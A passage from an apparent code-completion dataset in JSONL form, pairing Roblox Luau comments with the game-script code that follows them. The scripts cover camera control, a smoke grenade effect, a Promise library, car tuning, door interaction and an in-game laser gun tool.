\u043a\u043e\u043d\u0435\u0446 if\n\tend\nend) -- \u043a\u043e\u043d\u0435\u0446 function\n"} +{"prompt": "--[[ Functions overridden from BaseCamera ]]", "completion": "--\nfunction LegacyCamera:SetCameraToSubjectDistance(desiredSubjectDistance)\n\treturn BaseCamera.SetCameraToSubjectDistance(self,desiredSubjectDistance)\nend\n\nfunction LegacyCamera:Update(dt: number): (CFrame, CFrame)\n\n\t-- Cannot update until cameraType has been set\n\tif not self.cameraType then return end\n\n\tlocal now = tick()\n\tlocal timeDelta = (now - self.lastUpdate)\n\tlocal camera = \tworkspace.CurrentCamera\n\tlocal newCameraCFrame = camera.CFrame\n\tlocal newCameraFocus = camera.Focus\n\tlocal player = PlayersService.LocalPlayer\n\n\tif self.lastUpdate == nil or timeDelta > 1 then\n\t\tself.lastDistanceToSubject = nil\n\tend\n\tlocal subjectPosition: Vector3 = self:GetSubjectPosition()\n\n\tif self.cameraType == Enum.CameraType.Fixed then\n\t\tif subjectPosition and player and camera then\n\t\t\tlocal distanceToSubject = self:GetCameraToSubjectDistance()\n\t\t\tlocal newLookVector = self:CalculateNewLookVectorFromArg(nil, CameraInput.getRotation())\n\n\t\t\tnewCameraFocus = camera.Focus -- Fixed camera does not change focus\n\t\t\tnewCameraCFrame = CFrame.new(camera.CFrame.p, camera.CFrame.p + (distanceToSubject * newLookVector))\n\t\tend\n\n\telseif self.cameraType == Enum.CameraType.Attach then\n\t\tlocal subjectCFrame = self:GetSubjectCFrame()\n\t\tlocal cameraPitch = camera.CFrame:ToEulerAnglesYXZ()\n\t\tlocal _, subjectYaw = subjectCFrame:ToEulerAnglesYXZ()\n\t\t\n\t\tcameraPitch = math.clamp(cameraPitch - CameraInput.getRotation().Y, -PITCH_LIMIT, PITCH_LIMIT)\n\t\t\n\t\tnewCameraFocus = CFrame.new(subjectCFrame.p)*CFrame.fromEulerAnglesYXZ(cameraPitch, subjectYaw, 0)\n\t\tnewCameraCFrame = newCameraFocus*CFrame.new(0, 0, self:StepZoom())\n\n\telseif self.cameraType == Enum.CameraType.Watch then\n\t\tif subjectPosition and player and camera then\n\t\t\tlocal cameraLook = nil\n\n\t\t\tif subjectPosition == camera.CFrame.p then\n\t\t\t\twarn(\"Camera cannot watch subject in same position as itself\")\n\t\t\t\treturn camera.CFrame, camera.Focus\n\t\t\tend\n\n\t\t\tlocal humanoid = self:GetHumanoid()\n\t\t\tif humanoid and humanoid.RootPart then\n\t\t\t\tlocal diffVector = subjectPosition - camera.CFrame.p\n\t\t\t\tcameraLook = diffVector.unit\n\n\t\t\t\tif self.lastDistanceToSubject and self.lastDistanceToSubject == self:GetCameraToSubjectDistance() then\n\t\t\t\t\t-- Don't clobber the zoom if they zoomed the camera\n\t\t\t\t\tlocal newDistanceToSubject = diffVector.magnitude\n\t\t\t\t\tself:SetCameraToSubjectDistance(newDistanceToSubject)\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tlocal distanceToSubject: number = self:GetCameraToSubjectDistance()\n\t\t\tlocal newLookVector: Vector3 = self:CalculateNewLookVectorFromArg(cameraLook, CameraInput.getRotation())\n\n\t\t\tnewCameraFocus = CFrame.new(subjectPosition)\n\t\t\tnewCameraCFrame = CFrame.new(subjectPosition - (distanceToSubject * newLookVector), subjectPosition)\n\n\t\t\tself.lastDistanceToSubject = distanceToSubject\n\t\tend\n\telse\n\t\t-- Unsupported type, return current values unchanged\n\t\treturn camera.CFrame, camera.Focus\n\tend\n\n\tself.lastUpdate = now\n\treturn newCameraCFrame, newCameraFocus\nend\n\nreturn LegacyCamera\n"} +{"prompt": "-- Assign hotkeys for cloning (left or right shift + c)", "completion": "\nAssignHotkey({ 'LeftShift', 'C' }, CloneSelection);\nAssignHotkey({ 'RightShift', 'C' }, CloneSelection);\n"} +{"prompt": "--ProximityPrompt.Triggered:Connect(function(Player)\n-- local ToolsCopy = game.ReplicatedStorage[\"Crucifix\"]:Clone()\n-- ToolsCopy.Parent = Player.Backpack\n--end)", "completion": "\n"} +{"prompt": "------------------------------------------------------------------------------\n--------------------[ MAIN PROGRAM ]------------------------------------------\n------------------------------------------------------------------------------", "completion": "\n\nfunction DetonateSmoke()\n\tlocal GrenadePos = Main.Position\n\t\n\tCreateShockwave(GrenadePos, S.GrenadeEffectRadius)\n\t\n\tSound:Play()\n\t\n\tspawn(function()\n\t\tfor i = 1, math.floor(S.GrenadeEffectRadius * 0.35) do\n\t\t\tlocal Size = RAND(S.GrenadeEffectRadius * 0.4, S.GrenadeEffectRadius * 0.5)\n\t\t\tlocal Dist = RAND(0, S.GrenadeEffectRadius - Size)\n\t\t\tlocal XRot, YRot = RAD(RAND(0, 180, 10)), RAD(RAND(0, 360, 10))\n\t\t\tlocal RotLV = (CFANG(0, YRot, 0) * CFANG(XRot, 0, 0)).lookVector\n\t\t\tlocal Pos = GrenadePos + (RotLV * VEC3(Dist, Dist / 2, Dist))\n\t\t\t\n\t\t\tlocal Smoke = Instance.new(\"Part\")\n\t\t\tSmoke.Transparency = 1\n\t\t\tSmoke.Name = \"Smoke\"\n\t\t\tSmoke.Anchored = true\n\t\t\tSmoke.CanCollide = false\n\t\t\tSmoke.FormFactor = Enum.FormFactor.Symmetric\n\t\t\tSmoke.Size = VEC3(1, 1, 1)\n\t\t\tSmoke.TopSurface = Enum.SurfaceType.Smooth\n\t\t\tSmoke.BottomSurface = Enum.SurfaceType.Smooth\n\t\t\t\n\t\t\tlocal Mesh = Instance.new(\"SpecialMesh\")\n\t\t\tMesh.MeshType = Enum.MeshType.Sphere\n\t\t\tMesh.Scale = VEC3(Size, Size, Size)\n\t\t\tMesh.Parent = Smoke\n\t\t\t\n\t\t\tSmoke.Parent = Main.Parent\n\t\t\tSmoke.CFrame = CF(Pos)\n\t\t\t\n\t\t\tspawn(function()\n\t\t\t\tlocal Trans = RAND(0.3, 0.5, 0.01)\n\t\t\t\tfor X = 0, 90, 5 do\n\t\t\t\t\tSmoke.CFrame = CF(GrenadePos:lerp(Pos, Sine(X)))\n\t\t\t\t\tSmoke.Transparency = NumLerp(1, Trans, Sine(X))\n\t\t\t\t\twait()\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\twait(S.GrenadeEffectTime)\n\t\t\t\t\n\t\t\t\tfor X = 0, 90, 1 do\n\t\t\t\t\tSmoke.CFrame = CF(Pos:lerp(Pos + VEC3(0, 20, 0), 1 - COS(RAD(X))))\n\t\t\t\t\tSmoke.Transparency = NumLerp(Trans, 1, Sine(X))\n\t\t\t\t\twait()\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tSmoke:Destroy()\n\t\t\tend)\n\t\t\t\n\t\t\twait()\n\t\tend\n\tend)\n\t\n\tMain.Transparency = 1\n\tMain.Anchored = true\n\tMain.CanCollide = false\n\t\n\twait(S.GrenadeEffectTime + 4)\n\tMain:Destroy()\nend\n\nif S.TimerStartOnHit then\n\tlocal Detonated = false\n\tMain.Touched:connect(function(Obj)\n\t\tif IsIgnored(Obj) or Detonated then return end\n\t\tMain.Velocity = Main.Velocity / 4\n\t\tDetonated = true\n\t\t\n\t\twait(S.DetonationTime)\n\t\t\n\t\tDetonateSmoke()\n\tend)\nelse\n\tspawn(function()\n\t\tlocal Touched = false\n\t\tMain.Touched:connect(function(Obj)\n\t\t\tif IsIgnored(Obj) or Touched then return end\n\t\t\tTouched = true\n\t\t\tMain.Velocity = Main.Velocity / 4\n\t\tend)\n\tend)\n\twait(S.DetonationTime)\n\tDetonateSmoke()\nend\n"} +{"prompt": "-- Modules", "completion": "\nlocal NotificationModule = require(script.NotificationModule)\n"} +{"prompt": "--[[\nopenScript(scr)\nopenScript(scr2)\nopenScript(scr3)\nopenScript(scr4)\nopenScript(scr5)\n--]]", "completion": "\n\nscrollBar:Update()\nscrollBarH:Update()\n"} +{"prompt": "-- ROBLOX deviation: MockFunctionResultType defined as string for now but\n-- eventually should be = 'return' | 'throw' | 'incomplete';", "completion": "\ntype MockFunctionResultType = string\ntype MockFunctionResult = {\n\ttype: MockFunctionResultType,\n\tvalue: any,\n}\ntype MockFunctionConfig = {\n\t-- ROBLOX deviation: mockImpl defined as any for now but should be Function | nil if/when Luau supports general function type\n\tmockImpl: any,\n\tmockName: string,\n\tspecificReturnValues: Array,\n\t-- ROBLOX deviation: specificMockImpls defined as Array for now but should be Array if/when Luau supports general function type\n\tspecificMockImpls: Array,\n}\n\nexport type ModuleMocker = {\n\tisMockFunction: (_self: ModuleMocker, fn: any) -> boolean,\n\tfn: (_self: ModuleMocker, implementation: any) -> (),\n\tclearAllMocks: (_self: ModuleMocker) -> (),\n\tresetAllMocks: (_self: ModuleMocker) -> (),\n\trestoreAllMocks: (_self: ModuleMocker) -> (),\n\tmocked: (_self: ModuleMocker, item: T, _deep: boolean?) -> MaybeMocked | MaybeMockedDeep,\n}\n\nModuleMockerClass.__index = ModuleMockerClass\nfunction ModuleMockerClass.new()\n\tlocal self = {\n\t\t_mockState = {},\n\t\t_mockConfigRegistry = {},\n\t\t_invocationCallCounter = 1,\n\t\t_spyState = Set.new(),\n\t}\n\n\tsetmetatable(self, ModuleMockerClass)\n\n\treturn self\nend\n"} +{"prompt": "-- Buttons", "completion": "\nlocal ExitButton = MainFrame:WaitForChild(\"ExitButton\")\nlocal ToGameButton = MainFrame:WaitForChild(\"ToGameButton\")\n\nlocal TeleportLocation = workspace.SpawnLocations.TeleportLocation\n"} +{"prompt": "--Created by Drakerose", "completion": "\nlocal safeZone = require(game:GetService(\"ServerScriptService\").Zones.ZonesBase.SafeZone)\nlocal newZone = safeZone.new(script.Parent, \"Sphere\")\n"} +{"prompt": "--// Firemode Settings", "completion": "\n\tCanSelectFire = true;\n\tBurstEnabled = true;\n\tSemiEnabled = true;\n\tAutoEnabled = true;\n\tBoltAction = false;\n\tExplosiveEnabled = false;\n\t"} +{"prompt": "---\t\tSRR.Stiffness = carSeat.Storage.RearStiffness.Value*((1290))", "completion": "\n\t--end\nend\n\n\tif wheel > 2 then\n\t\tcarSeat.Parent.Differential.ControlX.Stiffness = ((-4000*DiffR.Value) + (10000*DiffR.Value))-1500\n\t\tcarSeat.Parent.Differential.ControlY.Stiffness = ((-4000*DiffR.Value) + (10000*DiffR.Value))-1500\n\t\tcarSeat.Parent.Transmission.ControlX.Stiffness = ((-4000*DiffF.Value) + (10000*DiffF.Value))-1500\n\t\tcarSeat.Parent.Transmission.ControlY.Stiffness = ((-4000*DiffF.Value) + (10000*DiffF.Value))-1500\n\telse\n\t\tcarSeat.Parent.Differential.ControlX.Stiffness = 0\n\t\tcarSeat.Parent.Differential.ControlY.Stiffness = 0\n\t\tcarSeat.Parent.Transmission.ControlX.Stiffness = 0\n\t\tcarSeat.Parent.Transmission.ControlY.Stiffness = 0\n\tend\nend\n"} +{"prompt": "--[[\n\tConstructs a new Promise with the given initializing callback.\n\n\tThis is generally only called when directly wrapping a non-promise API into\n\ta promise-based version.\n\n\tThe callback will receive 'resolve' and 'reject' methods, used to start\n\tinvoking the promise chain.\n\n\tSecond parameter, parent, is used internally for tracking the \"parent\" in a\n\tpromise chain. External code shouldn't need to worry about this.\n]]", "completion": "\nfunction Promise._new(traceback, callback, parent)\n\tif parent ~= nil and not Promise.is(parent) then\n\t\terror(\"Argument #2 to Promise.new must be a promise or nil\", 2)\n\tend\n\n\tlocal self = {\n\t\t-- Used to locate where a promise was created\n\t\t_source = traceback,\n\n\t\t_status = Promise.Status.Started,\n\n\t\t-- A table containing a list of all results, whether success or failure.\n\t\t-- Only valid if _status is set to something besides Started\n\t\t_values = nil,\n\n\t\t-- Lua doesn't like sparse arrays very much, so we explicitly store the\n\t\t-- length of _values to handle middle nils.\n\t\t_valuesLength = -1,\n\n\t\t-- Tracks if this Promise has no error observers..\n\t\t_unhandledRejection = true,\n\n\t\t-- Queues representing functions we should invoke when we update!\n\t\t_queuedResolve = {},\n\t\t_queuedReject = {},\n\t\t_queuedFinally = {},\n\n\t\t-- The function to run when/if this promise is cancelled.\n\t\t_cancellationHook = nil,\n\n\t\t-- The \"parent\" of this promise in a promise chain. Required for\n\t\t-- cancellation propagation upstream.\n\t\t_parent = parent,\n\n\t\t-- Consumers are Promises that have chained onto this one.\n\t\t-- We track them for cancellation propagation downstream.\n\t\t_consumers = setmetatable({}, MODE_KEY_METATABLE),\n\t}\n\n\tif parent and parent._status == Promise.Status.Started then\n\t\tparent._consumers[self] = true\n\tend\n\n\tsetmetatable(self, Promise)\n\n\tlocal function resolve(...)\n\t\tself:_resolve(...)\n\tend\n\n\tlocal function reject(...)\n\t\tself:_reject(...)\n\tend\n\n\tlocal function onCancel(cancellationHook)\n\t\tif cancellationHook then\n\t\t\tif self._status == Promise.Status.Cancelled then\n\t\t\t\tcancellationHook()\n\t\t\telse\n\t\t\t\tself._cancellationHook = cancellationHook\n\t\t\tend\n\t\tend\n\n\t\treturn self._status == Promise.Status.Cancelled\n\tend\n\n\tcoroutine.wrap(function()\n\t\tlocal ok, _, result = runExecutor(\n\t\t\tself._source,\n\t\t\tcallback,\n\t\t\tresolve,\n\t\t\treject,\n\t\t\tonCancel\n\t\t)\n\n\t\tif not ok then\n\t\t\treject(result[1])\n\t\tend\n\tend)()\n\n\treturn self\nend\n\nfunction Promise.new(executor)\n\treturn Promise._new(debug.traceback(nil, 2), executor)\nend\n\nfunction Promise:__tostring()\n\treturn string.format(\"Promise(%s)\", self:getStatus())\nend\n"} +{"prompt": "-- Stores useful information about Luau errors.", "completion": "\nexport type Error = {\n\ttype: string, -- replace with \"Error\" when Luau supports singleton types\n\traw: string,\n\tmessage: string,\n\ttrace: string\n}\n"} +{"prompt": "------------------------------------------------------------\n--\\Doors Update\n------------------------------------------------------------", "completion": "\nlocal DoorsFolder = ACS_Storage:FindFirstChild(\"Doors\")\nlocal CAS = game:GetService(\"ContextActionService\")\n\nlocal mDistance = 5\nlocal Key = nil\n\nfunction getNearest()\n\tlocal nearest = nil\n\tlocal minDistance = mDistance\n\tlocal Character = Player.Character or Player.CharacterAdded:Wait()\n\t\n\tfor I,Door in pairs (DoorsFolder:GetChildren()) do\n\t\tif Door.Door:FindFirstChild(\"Knob\") ~= nil then\n\t\t\tlocal distance = (Door.Door.Knob.Position - Character.Torso.Position).magnitude\n\t\t\n\t\t\tif distance < minDistance then\n\t\t\t\tnearest = Door\n\t\t\t\tminDistance = distance\n\t\t\tend\n\t\tend\n\tend\n\t--print(nearest)\n\treturn nearest\nend\n\nfunction Interact(actionName, inputState, inputObj)\n\tif inputState ~= Enum.UserInputState.Begin then return end\n\t\n\tlocal nearestDoor = getNearest()\n\tlocal Character = Player.Character or Player.CharacterAdded:Wait()\n\t\n\tif nearestDoor == nil then return end\n\t\n\tif (nearestDoor.Door.Knob.Position - Character.Torso.Position).magnitude <= mDistance then\n\t\tif nearestDoor ~= nil then\n\t\t\tif nearestDoor:FindFirstChild(\"RequiresKey\") then\n\t\t\t\tKey = nearestDoor.RequiresKey.Value\n\t\t\telse\n\t\t\t\tKey = nil\n\t\t\tend\n\t\t\tEvt.DoorEvent:FireServer(nearestDoor,1,Key)\n\t\tend\n\tend\nend\n\n\nfunction GetNearest(parts, maxDistance,Part)\n\tlocal closestPart\n\tlocal minDistance = maxDistance\n for _, partToFace in ipairs(parts) do\n local distance = (Part.Position - partToFace.Position).magnitude\n if distance < minDistance then\n closestPart = partToFace\n minDistance = distance\n end\n end\n\treturn closestPart\nend\n\nCAS:BindAction(\"Interact\", Interact, false, Enum.KeyCode.G)\n"} +{"prompt": "--[[Transmission]]", "completion": "\n\tTune.TransModes\t\t= {\"Auto\", \"Semi\"}\t\t\t\t\t\t\t\t--[[\n\t[Modes]\n\t\t\"Auto\"\t\t: Automatic shifting\n\t\t\"Semi\"\t\t: Clutchless manual shifting, dual clutch transmission\n\t\t\"Manual\"\t: Manual shifting with clutch\n\t\t\n\t\t>Include within brackets\n\t\t\teg: {\"Semi\"} or {\"Auto\", \"Manual\"}\t\t\t\t\t\t\t\t\n\t\t>First mode is default mode\t\t\t\t\t\t\t\t\t\t\t\t\t]]\n\t\n\t--Automatic Settings\n\tTune.AutoShiftMode\t= \"Speed\"\t\t\t\t\t\t\t\t\t\t\t\t--[[\n\t[Modes]\n\t\t\"Speed\"\t\t: Shifts based on wheel speed\n\t\t\"RPM\"\t\t: Shifts based on RPM\t\t\t\t\t\t\t\t\t\t\t]]\t\n\tTune.AutoUpThresh\t= -200\t\t--Automatic upshift point \t(relative to peak RPM, positive = Over-rev)\n\tTune.AutoDownThresh = 1400\t\t--Automatic downshift point (relative to peak RPM, positive = Under-rev)\n\n\t--Gear Ratios\n\tTune.FinalDrive\t\t= 3.1\n\tTune.Ratios\t\t\t= {\n\t\t--[[Reverse]]\t4.29\t\t\t,\n\t\t--[[Neutral]]\t0\t\t\t,\n\t\t--[[ 1 ]]\t\t4.71\t\t\t,\n\t\t--[[ 2 ]]\t\t3.14\t\t,\n\t\t--[[ 3 ]]\t\t2.10\t\t,\n\t\t--[[ 4 ]]\t\t1.67\t\t,\n\t\t--[[ 5 ]]\t\t1.29\t\t,\n\t\t--[[ 6 ]]\t\t1.00\t\t\t,\n\t\t--[[ 7 ]]\t\t0.84\t\t\t,\n\t}\n\tTune.FDMult\t\t\t= 1.00\t\t\t-- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)\n\t"} +{"prompt": "-- Holding Services", "completion": "\nreps = game:GetService(\"ReplicatedStorage\")\n\n\n"} +{"prompt": "-- map a value from one range to another", "completion": "\nfunction CameraUtils.map(x, inMin, inMax, outMin, outMax)\n\treturn (x - inMin)*(outMax - outMin)/(inMax - inMin) + outMin\nend\n"} +{"prompt": "--\t\t\tprint(\"Hit - \",other.Parent.Name)", "completion": "\n\t\t\t-- hum:TakeDamage(DAMAGE)\n\t\t\tDamage:Take(human, hum, DAMAGE) -- from, to, damage\n\t\t\twait(0.1)\n\t\tend"} +{"prompt": "--// UI Tween Info", "completion": "\nlocal L_166_ = TweenInfo.new(\n\t1,\n\tEnum.EasingStyle.Sine,\n\tEnum.EasingDirection.Out,\n\t0,\n\tfalse,\n\t0\n)\n\nlocal L_167_ = {\n\tTextTransparency = 1\n}\n\n\n"} +{"prompt": "------------------------------------------------------------------------------------------------------------------------------\n--// Other declerations", "completion": "\n\nlocal IMGFRAME = instance(\"ImageLabel\");\nIMGFRAME.Size = udim2(0, 0, 0, 0);\nIMGFRAME.BackgroundTransparency = 1;\nIMGFRAME.ScaleType = Enum.ScaleType.Stretch;\n\nlocal REPLACE = string.byte(\"?\");\n\nlocal justify1 = {\n\t[\"Right\"] = true;\n\t[\"Bottom\"] = true\n};\n\nlocal justify0 = {\n\t[\"Left\"] = true;\n\t[\"Top\"] = true\n};\n\nlocal redraws = {\n\t[\"AbsoluteSize\"] = true;\n\t[\"TextWrapped\"] = true;\n\t[\"TextScaled\"] = true;\n\t[\"TextXAlignment\"] = true;\n\t[\"TextYAlignment\"] = true;\n};\n\nlocal overwrites = {\n\t[\"TextTransparency\"] = true;\n\t[\"TextStrokeTransparency\"] = true;\n\t[\"BackgroundTransparency\"] = true;\n};\n\nlocal noReplicate = {\n\t[\"AbsolutePosition\"] = true;\n\t[\"AbsoluteSize\"] = true;\n\t[\"Position\"] = true;\n\t[\"Size\"] = true;\n\t[\"Rotation\"] = true;\n\t[\"Parent\"] = true;\n};\n\nlocal customProperties = {\n\t[\"FontName\"] = true;\n\t[\"Style\"] = true;\n};\n"} +{"prompt": "--[=[\n\tChains a Promise from this one that is resolved if this Promise is already resolved, and rejected if it is not resolved at the time of calling `:now()`. This can be used to ensure your `andThen` handler occurs on the same frame as the root Promise execution.\n\n\t```lua\n\tdoSomething()\n\t\t:now()\n\t\t:andThen(function(value)\n\t\t\tprint(\"Got\", value, \"synchronously.\")\n\t\tend)\n\t```\n\n\tIf this Promise is still running, Rejected, or Cancelled, the Promise returned from `:now()` will reject with the `rejectionValue` if passed, otherwise with a `Promise.Error(Promise.Error.Kind.NotResolvedInTime)`. This can be checked with [[Error.isKind]].\n\n\t@param rejectionValue? any -- The value to reject with if the Promise isn't resolved\n\t@return Promise\n]=]", "completion": "\nfunction Promise.prototype:now(rejectionValue)\n\tlocal traceback = debug.traceback(nil, 2)\n\tif self._status == Promise.Status.Resolved then\n\t\treturn self:_andThen(traceback, function(...)\n\t\t\treturn ...\n\t\tend)\n\telse\n\t\treturn Promise.reject(rejectionValue == nil and Error.new({\n\t\t\tkind = Error.Kind.NotResolvedInTime,\n\t\t\terror = \"This Promise was not resolved in time for :now()\",\n\t\t\tcontext = \":now() was called at:\\n\\n\" .. traceback,\n\t\t}) or rejectionValue)\n\tend\nend\n"} +{"prompt": "-----------------\n--| Variables |--\n-----------------", "completion": "\n\nlocal PlayersService = Game:GetService('Players')\nlocal DebrisService = Game:GetService('Debris')\n\nlocal Tool = script.Parent\nlocal Handle = Tool:WaitForChild('Handle')\n\nlocal FireSound = Handle:WaitForChild('Fire')\nlocal ReloadSound = Handle:WaitForChild('Reload')\nlocal HitFadeSound = script:WaitForChild('HitFade')\n\nlocal PointLight = Handle:WaitForChild('PointLight')\n\nlocal Character = nil\nlocal Humanoid = nil\nlocal Player = nil\n\nlocal BaseShot = nil\n"} +{"prompt": "------------------------------------------------------------------------", "completion": "\n\nlocal cameraPos = Vector3.new()\nlocal cameraRot = Vector2.new()\nlocal cameraFov = 0\n\nlocal velSpring = Spring.new(VEL_STIFFNESS, Vector3.new())\nlocal panSpring = Spring.new(PAN_STIFFNESS, Vector2.new())\nlocal fovSpring = Spring.new(FOV_STIFFNESS, 0)\n"} +{"prompt": "-- connect events", "completion": "\n\nHumanoid.Died:connect(onDied)\nHumanoid.Running:connect(onRunning)\nHumanoid.Jumping:connect(onJumping)\nHumanoid.Climbing:connect(onClimbing)\nHumanoid.GettingUp:connect(onGettingUp)\nHumanoid.FreeFalling:connect(onFreeFall)\nHumanoid.FallingDown:connect(onFallingDown)\nHumanoid.Seated:connect(onSeated)\nHumanoid.PlatformStanding:connect(onPlatformStanding)\n"} +{"prompt": "--BaseRay.Transparency = 1", "completion": "\nBaseRayMesh = Instance.new(\"SpecialMesh\")\nBaseRayMesh.Name = \"Mesh\"\nBaseRayMesh.MeshType = Enum.MeshType.Brick\nBaseRayMesh.Scale = Vector3.new(0.2, 0.2, 1)\nBaseRayMesh.Offset = Vector3.new(0, 0, 0)\nBaseRayMesh.VertexColor = Vector3.new(1, 1, 1)\nBaseRayMesh.Parent = BaseRay\n\nServerControl = (Remotes:FindFirstChild(\"ServerControl\") or Instance.new(\"RemoteFunction\"))\nServerControl.Name = \"ServerControl\"\nServerControl.Parent = Remotes\n\nClientControl = (Remotes:FindFirstChild(\"ClientControl\") or Instance.new(\"RemoteFunction\"))\nClientControl.Name = \"ClientControl\"\nClientControl.Parent = Remotes\n\nLight.Enabled = false\nTool.Enabled = true\n\nfunction RayTouched(Hit, Position)\n\tif Configuration.DestroyParts.Value then\n\t\tHit:Destroy()\n\tend\n\tif Configuration.SuperPartDestruction.Value then\n\t\tHit.Archivable = false\n\t\tHit:Destroy()\n\tend\n\tif not Hit or not Hit.Parent then\n\t\treturn\n\tend\n\tlocal character = Hit.Parent\n\tif character:IsA(\"Hat\") then\n\t\tcharacter = character.Parent\n\tend\n\tif character == Character then\n\t\treturn\n\tend\n\tlocal humanoid = character:FindFirstChildOfClass('Humanoid')\n\tif not humanoid or humanoid.Health == 0 then\n\t\treturn\n\tend\n\tlocal player = Players:GetPlayerFromCharacter(character)\n\tif player and Functions.IsTeamMate(Player, player) then\n\t\treturn\n\tend\n\tlocal DeterminedDamage = math.random(Configuration.Damage.MinValue, Configuration.Damage.MaxValue)\n\tFunctions.UntagHumanoid(humanoid)\n\tFunctions.TagHumanoid(humanoid, Player)\n\tif Configuration.InstantKill.Value then\n\t\thumanoid.Health = 0\n\tend\n\t\n\tif Configuration.IgnoreForceField.Value then\n\t\tif Hit.Name == 'Head' then\n\t\t\thumanoid.Health = humanoid.Health - math.random(Configuration.Damage.MinValue, Configuration.Damage.MaxValue) * Configuration.HeadShotMultiplier.Value\n\t\t\tSounds.HeadShot:Play()\n\t\telse\n\t\t\thumanoid.Health = humanoid.Health - math.random(Configuration.Damage.MinValue, Configuration.Damage.MaxValue)\n\t\tend\n\telse\n\t\tif Hit.Name == 'Head' then\n\t\t\thumanoid:TakeDamage(DeterminedDamage * Configuration.HeadShotMultiplier.Value)\n\t\t\tSounds.HeadShot:Play()\n\t\telse\n\t\t\thumanoid:TakeDamage(DeterminedDamage)\n\t\tend\n\tend\nend\n\nfunction CheckIfAlive()\n\treturn (((Player and Player.Parent and Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0) and true) or false)\nend\n\nfunction Equipped()\n\tCharacter = Tool.Parent\n\tPlayer = Players:GetPlayerFromCharacter(Character)\n\tHumanoid = Character:FindFirstChild(\"Humanoid\")\n\tif not CheckIfAlive() then\n\t\treturn\n\tend\n\tToolEquipped = true\nend\n\nfunction Unequipped()\n\tToolEquipped = false\nend\n\nfunction InvokeClient(Mode, Value)\n\tlocal ClientReturn = nil\n\tpcall(function()\n\t\tClientReturn = ClientControl:InvokeClient(Player, Mode, Value)\n\tend)\n\treturn ClientReturn\nend\n\nServerControl.OnServerInvoke = (function(player, Mode, Value)\n\tif player ~= Player or not ToolEquipped or not CheckIfAlive() or not Mode or not Value then\n\t\treturn\n\tend\n\tif Mode == \"Fire\" then\n\t\tSounds.Fire:Play()\n\t\tFX:Emit(3)\n\t\tif Configuration.AddRecoil.Value then\n\t\t\tif Recoil.Disabled then \n\t\t\t\tRecoil.Disabled = false\n\t\t\t\tdelay(0.1, function()\n\t\t\t\t\tRecoil.Disabled = true\n\t\t\t\tend)\n\t\t\tend\n\t\tend\n\telseif Mode == \"RayHit\" then\n\t\tlocal RayHit = Value.Hit\n\t\tlocal RayPosition = Value.Position\n\t\tif RayHit and RayPosition then\n\t\t\tRayTouched(RayHit, RayPosition)\n\t\tend\n\telseif Mode == \"CastLaser\" then\n\t\tlocal StartPosition = Value.StartPosition\n\t\tlocal TargetPosition = Value.TargetPosition\n\t\tlocal RayHit = Value.RayHit\n\t\tif not StartPosition or not TargetPosition or not RayHit then\n\t\t\treturn\n\t\tend\n\t\tfor i, v in pairs(Players:GetPlayers()) do\n\t\t\tif v:IsA(\"Player\") and v ~= Player then\n\t\t\t\tlocal Backpack = v:FindFirstChild(\"Backpack\")\n\t\t\t\tif Backpack then\n\t\t\t\t\tlocal LaserScript = CastLaser:Clone()\n\t\t\t\t\tlocal StartPos = Instance.new(\"Vector3Value\")\n\t\t\t\t\tStartPos.Name = \"StartPosition\"\n\t\t\t\t\tStartPos.Value = StartPosition\n\t\t\t\t\tStartPos.Parent = LaserScript\n\t\t\t\t\tlocal TargetPos = Instance.new(\"Vector3Value\")\n\t\t\t\t\tTargetPos.Name = \"TargetPosition\"\n\t\t\t\t\tTargetPos.Value = TargetPosition\n\t\t\t\t\tTargetPos.Parent = LaserScript\n\t\t\t\t\tlocal RayHit = Instance.new(\"BoolValue\")\n\t\t\t\t\tRayHit.Name = \"RayHit\"\n\t\t\t\t\tRayHit.Value = RayHit\n\t\t\t\t\tRayHit.Parent = LaserScript\n\t\t\t\t\tLaserScript.Disabled = false\n\t\t\t\t\tDebris:AddItem(LaserScript, 1.5)\n\t\t\t\t\tLaserScript.Parent = Backpack\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\nend)\n\nTool.Equipped:connect(Equipped)\nTool.Unequipped:connect(Unequipped)\n"} +{"prompt": "-- events", "completion": "\n\nscript.Increment.Event:connect(Increment)\nscript.MostKills.Event:connect(MostKills)\nscript.FurthestKill.Event:connect(FurthestKill)\n"} +{"prompt": "--// Variables", "completion": "\nlocal L_1_ = script.Parent\nlocal L_2_ = L_1_.Parent.Parent\nlocal L_3_ = L_2_.Character\nlocal L_4_ = game.ReplicatedStorage:FindFirstChild('[WB] Leaderstat Network') or nil\n"} +{"prompt": "------------------\n--SPAWNING--\n------------------\n-- credit to miked", "completion": "\nmiked=script.Parent\n\nitlh=miked.Torso:findFirstChild(\"Left Hip\")\nitlh.Part0=miked.Torso\nitlh.Part1=miked:findFirstChild(\"Left Leg\")\nitlh.C0=CFrame.new(-1, -1, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)\n\nitrh=miked.Torso:findFirstChild(\"Right Hip\")\nitrh.Part0=miked.Torso\nitrh.Part1=miked:findFirstChild(\"Right Leg\")\nitrh.C0=CFrame.new(1, -1, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)\n\nitls=miked.Torso:findFirstChild(\"Left Shoulder\")\nitls.Part1=miked.Torso\nitls.C0=CFrame.new(2, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)\nitls.Part0=miked:findFirstChild(\"Left Arm\")\n\nitrs=miked.Torso:findFirstChild(\"Right Shoulder\")\nitrs.Part1=miked.Torso\nitrs.C0=CFrame.new(-2, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)\nitrs.Part0=miked:findFirstChild(\"Right Arm\")\n\nmiked.Head:makeJoints()"} +{"prompt": "--// Aim|Zoom|Sensitivity Customization", "completion": "\n\tZoomSpeed = 0.23; -- The lower the number the slower and smoother the tween\n\tAimZoom = 30; -- Default zoom\n\tAimSpeed = 0.23;\n\tUnaimSpeed = 0.23;\n\tCycleAimZoom = 55; -- Cycled zoom\n\tMouseSensitivity = 0.5; -- Number between 0.1 and 1\n\tSensitivityIncrement = 0.05; -- No touchy\n\t"} +{"prompt": "-- Format params: methodName, ctorName", "completion": "\nlocal ERR_NOT_INSTANCE = \"Cannot statically invoke method '%s' - It is an instance method. Call it on an instance of this class created via %s\"\n"} +{"prompt": "--[[Susupension]]", "completion": 